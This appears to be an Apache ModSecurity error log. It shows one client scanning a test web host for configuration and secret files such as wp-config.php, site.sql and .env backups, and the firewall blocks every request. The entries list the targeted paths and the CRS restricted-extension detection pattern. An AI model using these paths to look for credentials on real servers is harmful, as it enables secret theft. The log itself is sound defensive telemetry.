[Sun Mar 22 01:06:20.165886 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/site.sql&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xVidwAAAAc&quot;]
[Sun Mar 22 01:06:20.166321 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/site.sql&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xVidwAAAAc&quot;]
[Sun Mar 22 01:06:20.166492 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/site.sql&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xVidwAAAAc&quot;]
[Sun Mar 22 01:06:20.256031 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /config/wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/wp-config.php&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xViewAAAAc&quot;]
[Sun Mar 22 01:06:20.256227 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/wp-config.php&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xViewAAAAc&quot;]
[Sun Mar 22 01:06:20.256359 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/wp-config.php&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xViewAAAAc&quot;]
[Sun Mar 22 01:06:20.278244 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/wp-config.php.old&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xVifAAAAAc&quot;]
[Sun Mar 22 01:06:20.278496 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /config/wp-config.php.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/wp-config.php.old&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xVifAAAAAc&quot;]
[Sun Mar 22 01:06:20.278689 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/wp-config.php.old&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xVifAAAAAc&quot;]
[Sun Mar 22 01:06:20.278824 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/wp-config.php.old&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xVifAAAAAc&quot;]
[Sun Mar 22 01:06:20.480336 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xVihQAAAAc&quot;]
[Sun Mar 22 01:06:20.480527 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xVihQAAAAc&quot;]
[Sun Mar 22 01:06:20.480659 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xVihQAAAAc&quot;]
[Sun Mar 22 01:06:20.502443 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.bak&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xVihgAAAAc&quot;]
[Sun Mar 22 01:06:20.502660 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.bak&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xVihgAAAAc&quot;]
[Sun Mar 22 01:06:20.502830 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.bak&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xVihgAAAAc&quot;]
[Sun Mar 22 01:06:20.502957 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.bak&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xVihgAAAAc&quot;]
[Sun Mar 22 01:06:20.524949 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.local&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xVihwAAAAc&quot;]
[Sun Mar 22 01:06:20.525139 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.local&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xVihwAAAAc&quot;]
[Sun Mar 22 01:06:20.525280 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.local&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xVihwAAAAc&quot;]
[Sun Mar 22 01:06:20.547158 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.old&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xViiAAAAAc&quot;]
[Sun Mar 22 01:06:20.547382 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.old&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xViiAAAAAc&quot;]
[Sun Mar 22 01:06:20.547560 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.old&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xViiAAAAAc&quot;]
[Sun Mar 22 01:06:20.547698 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.old&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xViiAAAAAc&quot;]
[Sun Mar 22 01:06:20.569693 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.save&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xViiQAAAAc&quot;]
[Sun Mar 22 01:06:20.569884 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.save&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xViiQAAAAc&quot;]
[Sun Mar 22 01:06:20.570025 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.save&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xViiQAAAAc&quot;]
[Sun Mar 22 01:06:20.592044 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/.env~&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env~&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xViigAAAAc&quot;]
[Sun Mar 22 01:06:20.592226 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env~&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xViigAAAAc&quot;]
[Sun Mar 22 01:06:20.592364 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env~&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xViigAAAAc&quot;]
